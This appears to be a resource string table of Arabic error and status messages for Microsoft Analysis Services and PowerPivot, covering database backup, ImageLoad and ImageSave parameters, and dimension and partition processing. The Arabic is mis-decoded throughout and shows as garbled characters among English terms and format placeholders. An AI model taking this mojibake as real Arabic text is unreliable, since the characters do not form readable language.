4096 8192 16384.PAg*DA EDA E.2F 'DFO3. 'D'-*J'7J): 'DEDA :J1 EH,H/. 'D3(( 'DE-*ED DG0' 'D.7# GH *DA EDA 'DF3.) 'D'-*J'7J).zB'9/) 'D(J'F'* G0G E*H'AB) E9 %5/'1 #9DI EF Analysis Services HD' JECF *-EJDG'. *E* EH',G) E3*HI 'D*H'AB: '%{compLevel/}'.^D' JECF *FAJ0 ImageLoad D#F CD' EF 'DE9DE'* (ImagePath HData) E-//*'F. JO3E- (E9DE) H'-/) AB7.[D' JECF *FAJ0 'D#E1 ImageLoad D#FG DE J*E *-/J/ #J EF 'DE9DE*JF (ImagePath HData) 'D'+F*JF._JO3E- (#E1 ImageLoad EF 'D/AB (J*E *-/J/ Data) AB7 AJ DeploymentMode 'D0J J3'HJ 1 (Sharepoint).bJO3E- ('D#E1 ImageSave AJ 'D*/AB (J*E *-/J/ Data) AB7 AJ DeploymentMode 'D0J J3'HJ 1 (Sharepoint).�'DE5FA'* 'D*J *E %F4'$G' ('3*./'E %5/'1 SQL Server 2008 R2 DH8JA) PowerPivot 'D%6'AJ) D@ Microsoft Office Excel 2010 JECF *-EJDG' EF 'D*/AB AB7 AJ 'DH69 ReadOnlyExclusive.lJO3E- ('D#E1 CloneDatabase AB7 AJ DeploymentMode 'D0J J3'HJ 0,1 #H 2 (E*9// 'D#H6'9 #H Sharepoint #H ,/HDJ).ND' JECF '3*/9'! 'D#E1 CloneDatabase AJ E9'ED) (/#G' E3*./E AJ #H /A9) E9'ED'*.\D' J9/ 'DC'&F 'DE-// AJ 7D( 9EJD C'&F B'9/) (J'F'*. J3*7J9 'D9EJD F3. C'&F B'9/) (J'F'* AB7.�'D#E1 Synchronization A4D D#F 'D.'/E 'DG/A J6E %9/'/'* *CHJF TabularMetadataEnabled E97D) HB'9/) (J'F'* E5/1 ('DE91A '%{DBId/}' GJ B'9/) (J'F'* ,/HDJ) ,/J/).['D#E1'F Restore HImageLoad EF 'DE5/1 'DEO4A1 :J1 E9*E/JF 9F/ *4:JD 'D.'/E ('DH69 (D' #B1'5.�J*,'H2 /AB *F2JD 'DF3. 'D'-*J'7J DB'9/) 'D(J'F'* 'D0J *E 'D-5HD 9DJG EF E6JA Fabric D@ ImageLoad EF RPS 'D-/ 'D#B5I D-,E 'DE.2F 'DE$B* DD/AB 'DE3EH- (G 'D('D: %ld{size/} ('J*.kD' JECF #F J-*HJ ImageLoad #H ImageSave cannot 9B/ 9F51 A19J -J+ J*E *9JJF 'D(J'F'* HE5/1 'D(J'F'* %DI true�9EDJ'* 'DE3$HD 'D*'DJ) :J1 E9*E/) 9F/ 9ED 'D.'/E AJ 'DH69 (D' #B1'5: F3. '-*J'7J/'3*9'/) HE2'EF) H%1A'B/A5D HImageLoad/ImageSave EF/%DI EDA'* Excel.ZD' JECF *9JJF %9/'/ 'D*CHJF ImageLoadStreamBufferMB %DI 0 #+F'! 'D-A8 %DI */AB #H %DI RPS.EJ*HA1 'D#E1 ImageSave 'DE-// (G DataSource AJ (J&) E,EH9) 'DF81'! AB7�A4D *-DJD B3E 'D/DJD DB'9/) (J'F'* 'DF3. 'D'-*J'7J. EF 'DE-*ED #F JCHF 3(( G0' 'D.7# GH 'B*7'9 'DF3. 'D'-*J'7J. %2'-) 'D/DJD=%ld{dirOffset/} -,E 'D/DJD=%ld{dirSize/} -,E 'D-'HJ)=%ld{containerSize/}.�A4D 'D*-BB EF 5-) B3E 3,D 'DF3. 'D'-*J'7J DDF3. 'D'-*J'7J DB'9/) 'D(J'F'*: EA*'- *4AJ1 B'9/) 'D(J'F'* EABH/ EF E,EH9) EDA'* C'&F B'9/) 'D(J'F'* ('D1:E EF #FG J,( #F JCHF EH,H/K' HABO' D%9/'/ *4AJ1 CDE) 'DE1H1.�A4D 'D*-BB EF 5-) B3E 3,D 'DF3. 'D'-*J'7J DDF3. 'D'-*J'7J DB'9/) 'D(J'F'*: EA*'- *4AJ1 B'9/) 'D(J'F'* EH,H/ AJ E,EH9) EDA'* C'&F B'9/) 'D(J'F'* ('D1:E EF #FG J,( #F D' JCHF EH,H/K' HABO' D%9/'/ *4AJ1 CDE) 'DE1H1.�A4D 'D*-BB EF 5-) B3E 3,D 'DF3. 'D'-*J'7J DDF3. 'D'-*J'7J DB'9/) 'D(J'F'*: EA*'- *4AJ1 B'9/) 'D(J'F'* EH,H/ AJ E,EH9) EDA'* C'&F :J1 *'(9) DB'9/) 'D(J'F'* ('D1:E EF #FG B/ JCHF EH,H/K' AJ E,EH9) EDA'* C'&F B'9/) 'D(J'F'* AB7.rA4D *-DJD B3E 'D/DJD DDF3. 'D'-*J'7J DB'9/) 'D(J'F'* EF 'DE-*ED #F JCHF 3(( G0' 'D.7# GH *CHJF XML (4CD :J1 5-J-.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): 1#3 E.2F 'D*.2JF 'D'-*J'7J *'DA: J,( #F JCHF -,E 'D5A-)='%ld{pageSize/}' #C(1 EF 5A1 HJ7'(B -,E 5A-) 'DF8'E.^B'9/) 'D(J'F'* 0'* 'D'3E '%{DBName/}' 'DE91A '%{DBId/}' DJ3* AJ H69 'DB1'!)/'DC*'() (%E' DDB1'!) AB7 #H DDB1'!) AB7 -51JK') HD' JECF 'DC*'() AHBG' %D' (H'37) E3$HD 'D.'/E 9F/E' J9ED 'D.'/E AJ H69 Azure. 'DE3*./E 'D-'DJ DJ3 E3$HD .'/E J3*./E '*5'D'K DJ3 6EF 'DF7'B HD' E3$HD .'/E J9ED 9DI *4:JD 'D#E1 ImageLoad (#H '3*9'/)) ('3*./'E '*5'D 6EF 'DF7'B.�B'9/) 'D(J'F'* 0'* 'D'3E '%{DBName/}' 'DE91A '%{DBId/}' DJ3* AJ H69 'DB1'!)/'DC*'() (%E' DDB1'!) AB7 #H DDB1'!) AB7 -51JK') HD' JECF 'DC*'() AHBG' %D' (H'37) E3$HD 'D.'/E AJ H69 Azure A'D.'/E D' J9ED 'D"F AJ H69 Azure.cB'9/) 'D(J'F'* 0'* 'D'3E '%{DBName/}' 'DE91A '%{DBId/}' AJ H69 DDB1'!) AB7 HD' JECF 'DC*'() AHBG'.�B'9/) 'D(J'F'* 0'* 'D'3E '%{DBName/}' 'DE91A '%{DBId/}' AJ H69 DDB1'!) AB7 -51JK' HJECF 'DC*'() AHBG' (H'37) E3$HD 'D.'/E AJ H69 Azure 9F 71JB '3*./'E #E1 ImageLoad AB7.�J-*HJ EDA 'DF3.) 'D'-*J'7J) DB'9/) 'D(J'F'* 9DI *HBJ9 :J1 E91HA AJ (J'F'* 'D*91JA. HG0' J4J1 %DI H,H/ EDA F3.) '-*J'7J) *'DA #H :J1 5'D- HJ*901 '3*9'/*G.K-/+ .7# E' #+F'! E-'HD) -A8 E,EH9) 'D(J'F'* (E91A 'DE1,9 '%{databaseId/}').�*E 'C*4'A 9FH'F XPress9 9DI /AB 'D(J'F'* HG0' 'D3JF'1JH :J1 E/9HE. H**E C*'()/B1'!) 'DEDA'* 'DE6:H7) D@ XPress9 %DI/EF RPS AB7. D' *BE (B1'!) ABF EF RPS H*-'HD /ABG' (H5AG' XMLA.*J-*HJ ImageLoad EF #E1 'D/AB 9DI /AB A'1:.�J*,'H2 /AB (J'F'* B'9/) 'D(J'F'* 'D0J *E 'D-5HD 9DJG EF #E1 ImageLoad 'D-/ 'D#B5I D-,E 'DE.2F 'DE$B* DD/AB 'DE3EH- (G 'D('D: %ld{size/} ('J*.aJ*901 -A8 'D*:JJ1'* F81K' D#F -,E E,EH9) 'D(J'F'* 'D,/J/) J*,'H2 'D-/ 'D('D: %ld{size/} :J:'('J*.f-/+ .7# E' #+F'! F3. 'DEDA 'DE$B* 'DE-DJ '%{srcFile/}' %DI C'&F PaaS 'D+F'&J C(J1 'D-,E '%{TrgBlob/}'.J-/+ .7# E' #+F'! ',*J'2 /DJD '%{Dir/}' (4CD E*C11: (FJ) 'D/DJD 9EJB) ,/K'.Z-/+ .7# E' #+F'! *-EJD EDA'* EF 'D/DJD 'DE$B* %DI E*,1 'DC'&F 'D+F'&J C(J1 'D-,E AJ Azure.^J/9E 'D#E1 ImageLoad 'DE9DE*JF 'DatabaseName' H'DatabaseID' AB7 AJ PowerBI Enterprise Edition.w.J'1'* 'D#E'F 'D(/JD) :J1 E/9HE) AJ 'DH69 'D,/HDJ %0' C'F* B'9/) 'D(J'F'* 'D*J J,1J '3*9'/*G' (E3*HI *H'AB #BD EF 1200.1.J'1'* 'D#E'F 'D(/JD) :J1 E/9HE) DD9EDJ) 'D-'DJ).}9F/ 'D*4:JD AJ Azure Analysis Services J*E /9E ImageLoad EF */AB AB7 DBH'9/ 'D(J'F'* 'D,/HDJ) 0'* E3*HI 'D*H'AB 1200 #H #9DI.w9F/ 'D*4:JD AJ H69 SSDT 'DE*C'ED J*E /9E ImageLoad EF */AB AB7 DBH'9/ 'D(J'F'* 'D,/HDJ) 0'* E3*HI 'D*H'AB 1200 #H #9DI.9*E -81 G0G 'D9EDJ) E$B*K' (H'37) Azure Analysis Services.OA4D *:JJ1 /H1 E3$HD 'D.'/E (3(( A4D '3*E1'1 'D*:JJ1 AJ Azure Analysis Services.KA4D *:JJ1 .5'&5 'D.'/E (3(( A4D '3*E1'1 'D*:JJ1 AJ Azure Analysis Services.JJ*901 *-EJD E,EH9) 'D(J'F'*: J*,'H2 -,EG' 'D-/ 'D('D: %ld{size/} :J:'('J*.xJ*901 *FAJ0 'D#E1 ImageLoad F81K' D9/E *-/J/ #J EF 'DE9DE'* 'D+D'+ (ImagePath #H Data #H (PackagePath, PackagePartUri)).�J*901 *FAJ0 'D#E1 ImageLoad F81K' D*-/J/ #C+1 EF E9DE) %/.'D H'-/) ((PackagePath, PackagePartUri) HImagePath HData). JO3E- (E9DE) %/.'D H'-/) AB7.�J*901 *FAJ0 'D#E1 ImageSave F81K' D*-/J/ #C+1 EF E9DE) %/.'D H'-/) ((PackagePath, PackagePartUri), #H ImagePath #H Stream). JO3E- (E9DE) %/.'D H'-/) AB7.PAxJ*901 *FAJ0 'D#E1 ImageSave F81K' D9/E *-/J/ #J EF 'DE9DE'* 'D+D'+ (ImagePath #H Data #H (PackagePath, PackagePartUri)).W'DE9DE*'F ImageLoad/Save (PackagePath, PackagePartUri) :J1 5'D-*JF AJ Server SKU 'D-'DJY'DE9DE*'F ImageLoad/Save (PackagePath, PackagePartUri) :J1 EC*ED*JF. 'D1,'! *-/J/ CDJGE'.S*HDJA) PackagePath, PackagePartUri 'DE-//) D' *-*HJ 9DI #J (J'F'* J*E *-EJDG' EFG'.+H8JA) 'D'3*1/'/ :J1 E/9HE) AJ ./E) PowerBI.2H8JA) 'D'3*1/'/ :J1 E/9HE) AJ %5/'1 'D.'/E 'D-'DJ.�A4D *-DJD B3E 'D/DJD DDF3. 'D'-*J'7J DB'9/) 'D(J'F'*. %/.'D'* 'D/DJD 'DE*HB9)=%ld{headerEntries/} %/.'D'* 'D/DJD 'D*J *E %D:'! *3D3DG'=%ld{dirEntries/}.6A4D* %6'A) E3*./E ,/J/ %DI 'D.'/E (3(( .7# ./E) /'.DJ.~A4D *-DJD 'DE3*./E #H 'D*7(JB: '%{pii_strUser/}'. 'D*F3JB 'DE*HB9 GH upn@tenant_domain #H app:{objectId_GUID}@{tenantId_GUID}.PA�D' JECF 'D9+H1 9DI EA*'- 'D3E) 9F/ E9'D,): %1[Table: '%{Table/}' 'D9EH/ : '%{Column/}' 'DBJE): '%{Value/}'%]%[ 'D,/HD: '%{Table/}' 'D9EH/: '%{Column/}' 'DBJE): '%{Value/}'%]. 'D3E) GJ '%{Attribute/}'.�*E 'D9+H1 9DI EA*'- 3E) E*C11 9F/ E9'D,): %1[Table: '%{Table/}' 'D9EH/ : '%{Column/}' 'DBJE): '%{Value/}'%]%[ 'D,/HD: '%{Table/}' 'D9EH/: '%{Column/}' 'DBJE): '%{Value/}'%]. 'D3E) GJ '%{Attribute/}'.�*E *-HJD EA*'- 3E) A'1: %DI 96H :J1 E91HA 9F/ E9'D,): %1[Table: '%{Table/}' 'D9EH/ : '%{Column/}' 'DBJE): '%{Value/}'%]%[ 'D,/HD: '%{Table/}' 'D9EH/: '%{Column/}' 'DBJE): '%{Value/}'%]. 'D3E) GJ '%{Attribute/}'.+(/#* B1'!) 'D(J'F'* EF 'DB3E '%{strName/}'.,'F*G* B1'!) 'D(J'F'* EF 'DB3E '%{strName/}'.+(/#* B1'!) 'D(J'F'* EF *,EJ9 '%{strName/}'.,'F*G* B1'!) 'D(J'F'* EF *,EJ9 '%{strName/}'.PAA(/#* B1'!) 'D(J'F'* EF B3E 'DC*'() 'D.DAJ) 'DE('41 '%{strName/}'.B'F*G* B1'!) 'D(J'F'* EF B3E 'DC*'() 'D.DAJ) 'DE('41 '%{strName/}'.!(/#* E9'D,) 'D(O9/ '%{strName/}'."'F*G* E9'D,) 'D(O9/ '%{strName/}'.+(/#* B1'!) 'D(J'F'* EF 'D3E) '%{strName/}'.,'F*G* B1'!) 'D(J'F'* EF 'D3E) '%{strName/}'.(/# A5D 'D3E) '%{strName/}'.'F*GI A5D 'D3E) '%{strName/}'.(/# *,EJ9 'D3E) '%{strName/}'. 'F*GI *,EJ9 'D3E) '%{strName/}'.0(/#* B1'!) 'D(J'F'* 'D.'5) ('D3E) '%{strName/}'.1'F*G* C*'() 'D(J'F'* 'D.'5) ('D3E) '%{strName/}'.$(/# %F4'! AG'13 DD3E) '%{strName/}'.&'F*GI %F4'! AG'13 DD3E) '%{strName/}'.*(/#* E9'D,) 'D*3D3D 'DGJCDJ '%{strName/}'.+'F*G* E9'D,) 'D*3D3D 'DGJCDJ '%{strName/}'.PA8(/# (F'! E.'2F AC 'D*1EJ2 DD*3D3D 'DGJCDJ '%{strName/}'.:'F*GI (F'! E.'2F AC 'D*1EJ2 DD*3D3D 'DGJCDJ '%{strName/}'.5(/# (F'! E.2F 'D(-+ D(O9/ ,E9 'D(J'F'* '%{strName/}'.7'F*GI (F'! E.2F 'D(-+ D(O9/ ,E9 'D(J'F'* '%{strName/}'.;DB/ (/# %F4'! E,EH9) 'D3,D '%{Group/}' DD3E) '%{strName/}'.2'F*GI *,EJ9 'D3,D'* %{Group/} DD3E) '%{strName/}'.#(/#* E9'D,) (FJ) ,E9 '%{strName/}'.$'F*G* E9'D,) (FJ) ,E9 '%{strName/}'.!(/#* E9'D,) 'DEC9( '%{strName/}'."'F*G* E9'D,) 'DEC9( '%{strName/}'.'(/#* E9'D,) E,EH9) EBJ'3 '%{strName/}'.('F*G* E9'D,) E,EH9) EBJ'3 '%{strName/}'."(/#* E9'D,) 'DFEH0, '%{strName/}'.#'F*G* E9'D,) 'DFEH0, '%{strName/}'. (/#* E9'D,) 'DB3E '%{strName/}'.!'F*G* E9'D,) 'DB3E '%{strName/}'.((/#* E9'D,) B3E 'DE,EH9) '%{strName/}' .)'F*G* E9'D,) B3E 'DE,EH9) '%{strName/}' .:(/# *,EJ9 'D3,D'* '%{Group/}' 'D.'5) ('DB3E '%{strName/}'.<'F*GI *,EJ9 'D3,D'* '%{Group/}' 'D.'5) ('DB3E '%{strName/}'.&(/#* C*'() (J'F'* 'DB3E '%{strName/}'.''F*G* C*'() (J'F'* 'DB3E '%{strName/}'.9(/# %F4'! 'D*,EJ9'* H'DAG'13 'D.'5) ('DB3E '%{strName/}'.:'F*GI (F'! 'D*,EJ9'* H'DAG'13 'D.'5) ('DB3E '%{strName/}'.)(/# '3*9D'E E,EH9) 'DEBJ'3 '%{strName/}'.+'F*GI '3*9D'E E,EH9) 'DEBJ'3 '%{strName/}'.;(/#* B1'!) 'D(J'F'* 'DE1*(7) DE,EH9) 'DEBJ'3 '%{strName/}'.<'F*G* B1'!) 'D(J'F'* 'DE1*(7) DE,EH9) 'DEBJ'3 '%{strName/}'.1(/#* B1'!) 'D(J'F'* 'DE1*(7) DDB3E '%{strName/}'.2'F*G* B1'!) 'D(J'F'* 'DE1*(7) DDB3E '%{strName/}'.'F*G* 'DEGE) (F,'-.
A4D* 'D9EDJ).PA*E *4:JD 'D9EDJ). (/#* E9'D,) 'D3E) '%{strName/}'.!'F*G* E9'D,) 'D3E) '%{strName/}'.'(/#* AG13) *,EJ9'* 'DB3E '%{strName/}'.('F*G* AG13) *,EJ9'* 'DB3E '%{strName/}'.#(/# (F'! AG'13 'DB3E '%{strName/}'.$(/# %F4'! AG'13 'DB3E '%{strName/}'.%(/# (F'! *,EJ9'* 'DB3E '%{strName/}'.''F*GI (F'! *,EJ9'* 'DB3E '%{strName/}'.$(/# /E, *,EJ9'* 'DB3E '%{strName/}'.&'F*GI /E, *,EJ9'* 'DB3E '%{strName/}'.)(/#* E9'D,) B'9/) 'D(J'F'* '%{strName/}'.*'F*G* E9'D,) B'9/) 'D(J'F'* '%{strName/}'.(/# (F'! ,/HD 'DE9'D,).'F*GI (F'! ,/HD 'DE9'D,).�8G1* #.7'! #+F'! -3'( 9('1'* CACHE. 3*3*E1 E9'D,) 'D'3*9D'E (/HF -3'( 9('1'* CACHE. -/+ 'DA4D DD3(( ('D#3('() 'D*'DJ: '%{errors/}'.�9// 'DE3*H/9'* 'D*J *E 'D9+H1 9DJG' (H'37) 71JB) 'DA5D DJ3 GH FA3 9// 'DE3*H/9'* 'D*J *E 7D(G' (H'37) 'D3E) 0'* 'DE91QA %{PropertyId/} 'D'3E %{PropertyName/}.I(/#* E9'D,) 0'C1'* 'D*.2JF 'DE$B* EF 'D(1E,) 'DF5J) DDEC9( '%{strName/}'.J'F*G* E9'D,) 0'C1'* 'D*.2JF 'DE$B* EF 'D(1E,) 'DF5J) DDEC9( '%{strName/}'./(/# 'D*-BB EF AG'13 'DEB79 DDB3E '%{strName/}'.1'F*GI 'D*-BB EF AG'13 'DEB79 DDB3E '%{strName/}'.%(/#* E9'D,) 'D9D'B) (@ '%{strName/}'.&'F*G* E9'D,) 'D9D'B) (@ '%{strName/}'.5D' JECF 7D( '%{table/}'[%{column/}] (H'37) [%{orderbycolumn/}] D#F GF'C BJE) H'-/) 9DI 'D#BD AJ [%{column2/}] DG' BJE E.*DA) E*9//) AJ [%{orderbycolumn2/}]. 9DI 3(JD 'DE+'D JECFC A12 [City] -3( [Region] D#FG *H,/ EF7B) H'-/) DCD E/JF) HDCF D' JECFC A12 [Region] -3( [City] D#F GF'C 'D9/J/ EF 'DE/F DCD EF7B).�D' JECF 'D9+H1 9DI EA*'- 'D3E) 9F/ E9'D,): %1[Table: '%{Table/}' 'D9EH/ : '%{Column/}' 'DBJE): '%{Value/}'%]%[ 'D,/HD: '%{Table/}' 'D9EH/: '%{Column/}' 'DBJE): '%{Value/}'%]. 'D3E) GJ '%{Attribute/}'.�*E *-HJD EA*'- 'D3E) %DI 96H :J1 E91HA D#FG DE J*E 'D9+H1 9DI EA*'- 'D3E). 'D3E) %{Property/} DD(O9/: %{Dimension/} EF B'9/) 'D(J'F'*: %{Database/} %1[Cube: %{Cube/} E,EH9) 'DEBJ'3 %{Detail/} 'DB3E: %{Partition/} %]'D3,D: %ld{Record/}.�*E *.7J 'D3,D D#FG DE J*E 'D9+H1 9DI EA*'- 'D3E). 'D3E) %{Property/} DD(O9/: %{Dimension/} EF B'9/) 'D(J'F'*: %{Database/} %1[Cube: %{Cube/} E,EH9) 'DEBJ'3 %{Detail/} 'DB3E: %{Partition/} %]'D3,D: %ld{Record/}.�*E *.7J 'D3,D D#F EA*'- 'D3E) EC11. 'D3E) %{Property/} DD(O9/: %{Dimension/} EF B'9/) 'D(J'F'*: %{Database/} %1[Cube: %{Cube/} E,EH9) 'DBJ'3 %{Detail/} 'DB3E: %{Partition/} %]'D3,D: %ld{Record/}.�*E *-HJD EA*'- 3E) A'1:) %DI 96H :J1 E91HA. 'D3E) %{Property/} DD(O9/: %{Dimension/} EF B'9/) 'D(J'F'*: %{Database/} %1[Cube: %{Cube/} E,EH9) 'DEBJ'3 %{Detail/} 'DB3E: %{Partition/} %]'D3,D: %ld{Record/}.�*E *.7J 'D3,D (3(( EH',G) EA*'- 3E) A'1:). 'D3E) %{Property/} DD(O9/: %{Dimension/} EF B'9/) 'D(J'F'*: %{Database/} %1[Cube: %{Cube/} E,EH9) 'DEBJ'3 %{Detail/} 'DB3E: %{Partition/} %]'D3,D: %ld{Record/}.�*E* EH',G) #.7'! #+F'! -3'( 9('1'* CACHE 'DE6EF) AJ 'D(1E,) 'DF5J). 3*3*E1 E9'D,) 'D'3*9D'E (/HF -3'( 9('1'* CACHE 'D*J *-*HJ 9DI #.7'!.7D' JECF *-/J+ 'D(O9/ %{dimension/} D#FG DE **E E9'D,*G.�*E 'C*4'A *C1'1 J*6EF 'D96H 0' 'DEA*'- %1[%{key/}%]%[, %{key/}%] AJ 9D'B) 'D#5D-'D*'(9 (JF 'D3E) '%{property/}' H'D3E) '%{relatedproperty/}'.�D' JECF *:JJ1 'D9D'B'* 'D5'1E) (JF 'D3E'* #+F'! 'DE9'D,) 'D*2'J/J) D(O9/ E9JF. -/+ 'D.7# #+F'! E9'D,) 'D3E) '%{Attribute/}'. %1['D,/HD: '%{Table/}' 'D9EH/: '%{Column/}' 'DBJE): '%{Value/}'%]%[ 'D,/HD: '%{Table/}' 'D9EH/: '%{Column/}' 'DBJE): '%{Value/}'%]. 'D3E) 'DE5/1: '%{SourceAttribute/}'. BJE) (BJE) 9EH/ 'DEA*'- DD3E) 'DE5/1: %1['%{KeyColumnValue/}'%]%[, '%{KeyColumnValue/}'%].|D' JECF E9'D,) (O9/ ,E9 'D(J'F'* '%{dimension/}' D#F FEH0, 'D,E9 '%{miningmodel/}' 'D0J J3*F/ %DJG 'D(O9/ *,( E9'D,*G #HD'K.�*E* EH',G) BJE) A'1:) :J1 E*HB9) DDEBJ'3 'D*'DJ #+F'! 'DE9'D,): '%{Measure/}' DE,EH9) 'DEBJ'3: '%{Detail/}' EF B'9/) 'D(J'F'*: '%{Database/}' 'DEC9(: '%{Cube/}' AJ 'D,/HD: '%{Table/}' 'D9EH/: '%{Column/}'.j'F*G* 9EDJ) 'DE9'D,) D#F 9// 'D#.7'! 'D0J *E* EH',G*G B/ H5D %DI 'D-/ 'DE91QA DD#.7'! 'DE3EH- (G' DD9EDJ).eDB/ *:J1 %5/'1 %{typename/} 'DE1*(7 0H 'D'3E '%{name/}' 9DI 'DE+JD 'D(9J/. C11 'D9EDJ) D-D 'DE4CD).~DB/ *:J1 %5/'1 %{typename/}'DE1*(7 'D0J DG 'DE91QA '%{id/}' ID 0H 'D'3E '%{name/}' AJ 'DE+JD 'D(9J/. C11 'D9EDJ) D-D 'DE4CD).�*E *:JJ1 'D%5/'1 'D0J J6E %{typename/} 'DE1*(7 ('DE91A '%{id/}' ('D'3E '%{name/}' 9DI 'D.'/E 'D(9J/. BE (*C1'1 'D9EDJ) D-D 'DE4CD).�*E *:JJ1 'D%5/'1 'D0J J6E %{typename/} 'DE1*(7 ('DE91A '%{id/}' ('D'3E '%{name/}' 9DI 'D.'/E 'D(9J/. BE (*C1'1 'D9EDJ) D-D 'DE4CD).�*E *:JJ1 'D%5/'1 'D0J J6E %{typename/} 'DE1*(7 ('DE91A '%{id/}' ('D'3E '%{name/}' 9DI 'D.'/E 'D(9J/. BE (*C1'1 'D9EDJ) D-D 'DE4CD).E-/+ .7# #+F'! E9'D,) %{typename/} ('DE91A '%{id/}' H'D'3E '%{name/}'.b-/+ .7# #+F'! E9'D,) 'D3E) '%{Property/}' DD(O9/ '%{Dimension/}' EF B'9/) 'D(J'F'* '%{Database/}'.}-/+ .7# #+F'! E9'D,) 'DB3E '%{PartitionName/}' DE,EH9) 'DEBJ'3 '%{Detail/}' DDEC9( '%{Cube/}' EF B'9/) 'D(J'F'* %{Database/}.t%F (J'F'* 'D*91JA 'DE1*(7) (4CD +'(* %{typename/} 0'* 'D'3E '%{name/}' D' JECF 'D*-BB EF 5-*G' EB'(D 'DC'&F 'DE5/1.'-/+ .7# #+F'! A5D 'D3E) '%{Property/}'.fD' JECF A5D 'D3E) '%{Property/}' %DI 1BE 'DE3*H/9'* 'DE7DH( (3(( H,H/ 9// BDJD ,/K' EF 'DBJE 'DEEJ2) .jD' JECF A5D 'D3E) 0'* 'DE91QA '%{PropertyId/}' H'D'3E '%{PropertyName/}' (3(( H,H/ BJE E*EJ2) BDJD) ,/K'.M%E' #FG DJ3 D/JC 'D%0F DDH5HD %DI 'D96H 'DE-// #H #F 'D96H 'DE-// :J1 EH,H/.TD' JECF 'D9+H1 9DI E,EH9) EBJ'3 'DE5/1 'D.'5) (E,EH9) 'DEBJ'3 'DE1*(7) '%{detail/}'.y-/+ .7# #+F'! E9'D,) AG'13 'DB3E %{Partition/} DE,EH9) 'DEBJ'3 %{Detail/} DDEC9( %{Cube/} EF B'9/) 'D(J'F'* %{Database/}.cD' JECF 'D'3*9D'E 9F 'DE5/1 %{typename/} 0J 'DE91A '%{id/}' H'D'3E '%{name/}' D#FG DE **E E9'D,*G.2*1*J( 'DA12 'DE-// D3,D'* 'D-3'( 'DE*EJ2 :J1 5-J-.PA-'D41J-) 'DE-//) DD3E) %{Property/} :J1 5-J-).9D' JECF 1(7 'D3E) 'DEFA5D) '%{Property/}' (EA'*J- E*9//).YDE J*E 'D9+H1 9DI '3E 'DEBJ'3 '%{measurename/}' 9F/ -D 'D1(7 'D.'5 ('D3E) '%{property/}'.pD' J*6EF 'D*,EJ9 '%{agg/}' 'DE91A EF BP(D 'DE3*./E AJ 'DB3E '%{partition/}' 1(7K' 5'D-K' EB*1FK' ('DC'&F 'DE5/1.,'D(O9/ '%{dim/}' :J1 5'D- DD*,EJ9 '%{agg/}'.L'D(O9/ '%{cubedimid/}' 'DE1*(7 ('DEC9( '%{cubename/}' :J1 5'D- #H :J1 EH,H/.X**6EF 'D3E) '%{attribute/}' AJ 'D(O9/ '%{dimension/}' 1(7K' %DI (O9/ (9J/ DE J9/ 5'D-K'.sJBHE 'D1(7 'D.'5 (E,EH9) 'DEBJ'3 '%{measuregroupid/}' ('D%1,'9 %DI E,EH9) EBJ'3 .'/E '%{remotemgid/}' :J1 'DEH,H/).m'D1(7 (E91QA 'DEBJ'3 '%{measureid/}' AJ E,EH9) 'DEBJ'3 '%{measuregroup/}' :J1 EH,H/ AJ E,EH9) 'DEBJ'3 'DE5/1.2E5/1 'D(J'F'* 'D(9J/ DDC'&F '%{object/}' :J1 5'D-.IDE J*E 'D9+H1 9DI 'D(O9/ '%{cubedimid/}' AJ 'DEC9( 'DE5/1 '%{cubename/}'.VDE J*E 'D9+H1 9DI E,EH9) 'DEBJ'3 '%{measuregroupid/}' AJ 'DEC9( 'DE5/1 '%{cubename/}'.V**6EF 'D3E) '%{attribute/}' AJ 'D(O9/ '%{dimension/}' '1*('7K' %DI (O9/ (9J/ :J1 5'D-.LAB7 BH'9/ 'D(J'F'* EF 'DFH9 BLS GJ 'D*J JECF '3*./'EG' DE5'/1 (J'F'* 'DE5FA.:D' JECF #F **6EF 'D3E'* AJ (O9/ E5FA %D' 1H'(7 3E) 'DE5FA.6FH9 (J'F'* 'DEA*'- D96H 'D*,EJ9 '%{member/}' :J1 5-J-.**901 'D9+H1 9DI 96H 'D*,EJ9 '%{member/}' .RDE J*E 'D9+H1 9DI B'9/) (J'F'* '%{database/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.HDE J*E 'D9+H1 9DI 'DEC9( '%{cube/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.GDE J*E 'D9+H1 9DI 'D(O9/ '%{dim/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.GDE J*E 'D9+H1 9DI 'D3E) '%{attr/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.QDE J*E 'D9+H1 9DI 'D*3D3D 'DGJCDJ '%{hier/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.JDE J*E 'D9+H1 9DI 'DE3*HI '%{level/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.A**6EF 'D3E) '%{attr/}' E' J2J/ 9F 'D9// 'D#B5I DD*1,E'* 'DE9*E/).'D' **6EF 'D3E) '%{attr/}' #9E/) EA'*J-.XDE J*E 'D9+H1 9DI E,EH9) 'DEBJ'3 '%{measuregroup/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.LDE J*E 'D9+H1 9DI 'DEBJ'3 '%{measure/}' 9F/ -D 'D1(7 DD.'5J) '%{property/}'.p%E' #FG B/ *E* EH',G) 9// :J1 5-J- EF BJE 9'ED 'D*5AJ) #H BH(D* BJE 9'ED *5AJ) :J1 E*7'(B) #+F'! (F'! 417 ROLAP.e%F E,EH9) EBJ'3 'DE5/1 'DE-//) DE,EH9) 'DEBJ'3 '%{detail/}' 'DE1*(7) D' JECF #F *F*EJ %DI FA3 'DEC9(.c*E* EH',G) .7# #+F'! -D 'DEA*'- 'D.'5 ('D96H 'D0J DG 'DEA*'- %['%{key/}' ] AJ 'D3E) '%{property/}'.E*E* EH',G) .7# #+F'! -D '3E 'D96H '%{name/}' AJ 'D3E) '%{property/}'.:*E *,'H2 #B5I 9// EF 5AHA ROLAP DE9'D,*G' AJ '3*9D'E H'-/.*E 'DH5HD D-/ 'D*FAJ0**E 'F*G'C 'DBJH/ 'DEA1H6) 9DI 41J-) 'DB3E.:*E* EH',G) .7# #+F'! E9'D,) 'D(O9/ 'D#5D/'D*'(9 '%{dim/}'.V'D96H 'D'A*1'6J 'DE-// DD(O9/ '%{Dimension/}' AJ E,EH9) 'DEBJ'3 '%{Detail/}' :J1 5-J-.N'D(O9/ '%{DimensionName/}' E1*(7 '1*('7K' (9J/K' D0' AD' JO3E- (#J '3*9D'E'*.OD' JECF 'D9+H1 9DI 3E) 'DEC9( DC'&F %0F 3E) EC9( ('DE91QA 